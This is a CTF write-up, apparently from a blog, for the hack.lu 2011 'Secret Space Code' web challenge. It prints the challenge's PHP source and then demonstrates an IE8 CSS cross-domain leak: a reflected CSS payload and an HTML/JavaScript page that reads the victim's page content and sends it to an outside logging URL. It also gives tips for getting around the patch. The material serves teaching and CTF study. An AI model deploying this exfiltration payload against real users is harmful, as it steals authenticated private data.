hack.lu CTF 2011 challenge writeup – Secret Space Code

Secret Space Code (SSC) was another web challenge I prepared for the hack.lu 2011 conference CTF. Because we experienced that web challenges are one of the most solved challenge categories during the last CTFs we participated and organized we decided to provide some tough ones.
SSC was about a client-side vulnerability in IE8 that has been patched in December 2010 without any big attention. However I felt this was a cool vulnerability and worth a 500 points challenge. The challenge text was:

The Secret Space Code (SSC) database holds a list of all space shuttle captains and their missile launch codes. You have stolen the X-wing Fighter “Incom T-65” from captain Cardboard and you need the missile launch codes for a crazy joyride. You have heard that the SSC admin (twitter: @secretspacecode) is from redmoon where they only use unpatched Internet Explorer 8 …

hint: Client-side challenges are error-prone. Practice your attack locally before sending a link to the SSC admin via private message.

After we got some metasploit tainted links we added the hint that “client-side” was referred to vulnerabilities like CSRF and XSS and not to client-side stack smashing 😉 Otherwise the challenge would not have been filed under the category web.
When visiting the challenge website there was only a password prompt. The first and easy task was – as in many other challenges – to detect the source code file index.phps:

<?php
error_reporting(0);
header('Server: Secret Space Codes');
header('Content-Type: text/html; charset=UTF-8');
header('X-XSS-Protection: 1; mode=block');
session_start();
?>
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
	<title>Secret Space Codes - Database</title>
</head>

<body>
<div id="main">
<h1>Secret Space Codes Database</h1>
<?php
require 'config.php';

if(isset($_GET['pass']))
{
	if($_GET['pass'] === $password)
	{
		$_SESSION['logged'] = true;
	} else
	{
		$_SESSION['logged'] = false;
		echo '<p>Wrong password, get lost in space!</p>',"\n";
	}
}

if(isset($_SESSION['logged']) && $_SESSION['logged'] === true)
{
	$conn = mysql_connect($Host, $User, $Password) 
		or die("Error: Can not connect to database. Challenge broken");

	mysql_select_db($Database, $conn) 
		or die("Error: Can not select database. Challenge broken");
		
	$where = '';
	echo '<form action="">',"\n",
	'<table>',"\n",
	'<tr>',"\n",'<td><input type="text" name="captain" value="';
	if(isset($_GET['captain']))
	{
		echo htmlentities($_GET['captain'], ENT_QUOTES, 'utf-8');
		$captain = str_replace('all', '%', $_GET['captain']);
		$captain = mysql_real_escape_string($captain, $conn);
		$where.= "WHERE captain like '%$captain%' ";
	} else
	{
		echo 'all';
	}
	echo '" /></td>',"\n",'<td><select name="o">';
	if(isset($_GET['o']) && preg_match('/^(ASC|DESC)$/im', $_GET['o']))
	{	
		if(strtolower($_GET['o']) === 'asc')
			echo '<option selected>asc</option>',
			'<option>desc</option>';
		else if(strtolower($_GET['o']) === 'desc')
			echo '<option>asc</option>',
			'<option selected>desc</option>';	
			$where.= "ORDER BY captain ".$_GET['o'];
	} else
	{
		echo '<option>asc</option>',
			'<option>desc</option>';
	}
	echo '</select></td>',"\n",
	'<td><input type="submit" value="search" /></td>',"\n",
	'</tr>',"\n",
	'</table>',"\n",
	'</form>',"\n";
	$result = mysql_query("SELECT captain,code FROM captains $where", $conn);
	echo '<p>Result for captain '.htmlentities($_GET['captain'], ENT_QUOTES, 'utf-8');
	if(isset($_GET['o'])) 
		echo ' ('.htmlentities($_GET['o'], ENT_QUOTES, 'utf-8').'ending)';
	echo '</p>',"\n",
	'<table>',"\n",
	'<tr><th>captain</th><th>code</th></tr>',"\n";
	if(!mysql_error() && mysql_num_rows($result) > 0)
	{
		for($i=0; $i<mysql_num_rows($result); $i++)
		{
			if(!($row = mysql_fetch_array($result)))
			{
				die("Error. Challenge broken.");
			}
			$captain = htmlentities($row['captain'], ENT_QUOTES, 'utf-8');
			$code = htmlentities($row['code'], ENT_QUOTES, 'utf-8');
			echo "<tr><td>$captain</td><td>$code</td></tr>\n";
		}	
	} else
	{
		echo '<tr><td colspan="2">No codes found.</td></tr>',"\n";
	}
	echo '</table>',"\n";

} else
{
	echo '<form action="" method="GET">',"\n",'<table>',"\n",
	'<tr><th colspan="2">Login</th></tr>',"\n",
	'<tr><td>password:</td><td><input type="password" name="pass" value="" /></td></tr>',"\n",
	'<tr><td colspan="2" align="right"><input type="submit" value="login" /></td></tr>',"\n",
	'</table>',"\n",'</form>',"\n";
}	
?>	
</div>

</body>
</html>

The source code shows that after providing the right password the admin is logged in by session and gets a list of all captains and their codes. He also has the option to search for a specific captain and to order the list by GET parameter o ascending or descending. However there is no SQLi or XSS vulnerability. Everything is escaped and encoded correctly. The password was a 32 character long string and could not be guessed or bruteforced.
Anyway an attacker could steal the secrets knowing that his victim runs IE8. A very cool cross-domain leakage was published by scarybeast in September 2010 that could be used like the following to steal the missile launch codes from all captains:

  1. We reflect the following CSS via the GET parameter o:
    {}body{font-family:{
    

    That is possible because we only need braces that are not encoded by htmlspecialchars() and similar functions. Note that this means that every webapp is vulnerable to this attack as long as braces are not explicitly encoded.

  2. We load the webpage with our reflectively injected CSS as CSS resource:
    <link rel="stylesheet" type="text/css" href="https://ctf.hack.lu:2016/?captain=all&o=ASC{}body{font-family:{" />
    

    That is possible due to the lax IE8 CSS parsing. The first two braces make sure that every HTML content before our CSS is treated as (broken) CSS. Then our CSS starts where we define everything that follows in the HTML output as the body font-family. Because the IE8 parser will not find an ending brace it will include everything to the font-family until the end of file is reached.

  3. Now we have loaded the remote website with the whole content defined as font-family we simply access the currently computed font-family name and get the password protected content, when our victim is logged in and visits our prepared HTML webpage:
    <html>
    <head>
    	<link rel="stylesheet" type="text/css" href="https://ctf.hack.lu:2016/?captain=all&o=ASC{}body{font-family:{" />
    </head>
    <body>
    <script>
    function getStyle() {
    	var html = document.body.currentStyle.fontFamily;
    	//alert(html);
    	document.location.href="http://www.fluxfingers.net/?log="+encodeURIComponent(html);
    }
    window.setTimeout(getStyle, 2000);
    </script>
    </body>
    </html>
    

    We also set a timeout in case loading the remote site as CSS resource takes some time.

The code for captain Cardboard was F15-F29-F32-F65-F17-F22. For more information about this attack read scarybeasts blogpost or this paper. Note that this can only be reproduced with an unpatched IE8. Alternatively you can add the prepared HTML page to your trusted zone which will bypass the patch.
As almost expected nobody solved this challenge most likely because the attack has not got much attention. However knowing that it is IE8 specific one could have looked at the recent IE8 patches. Also SSC is backwards for CSS and could have got you in the right direction (scarybeasts blogpost is the second hit when googling “IE8 css security”). Thanks to .mario for bringing this vuln to my attention.

2 Responses to hack.lu CTF 2011 challenge writeup – Secret Space Code

  1. FluxFreddy says:

    You can also test this vulnerability by removing the kb 2416400 patch from the Software list in Windows’ Control Panel.

  2. Codarz360 says:

    That was an interesting read. I had never heard about that vulnerability before and I’m probably going to test it to see if I can replicate the issue.

Leave a comment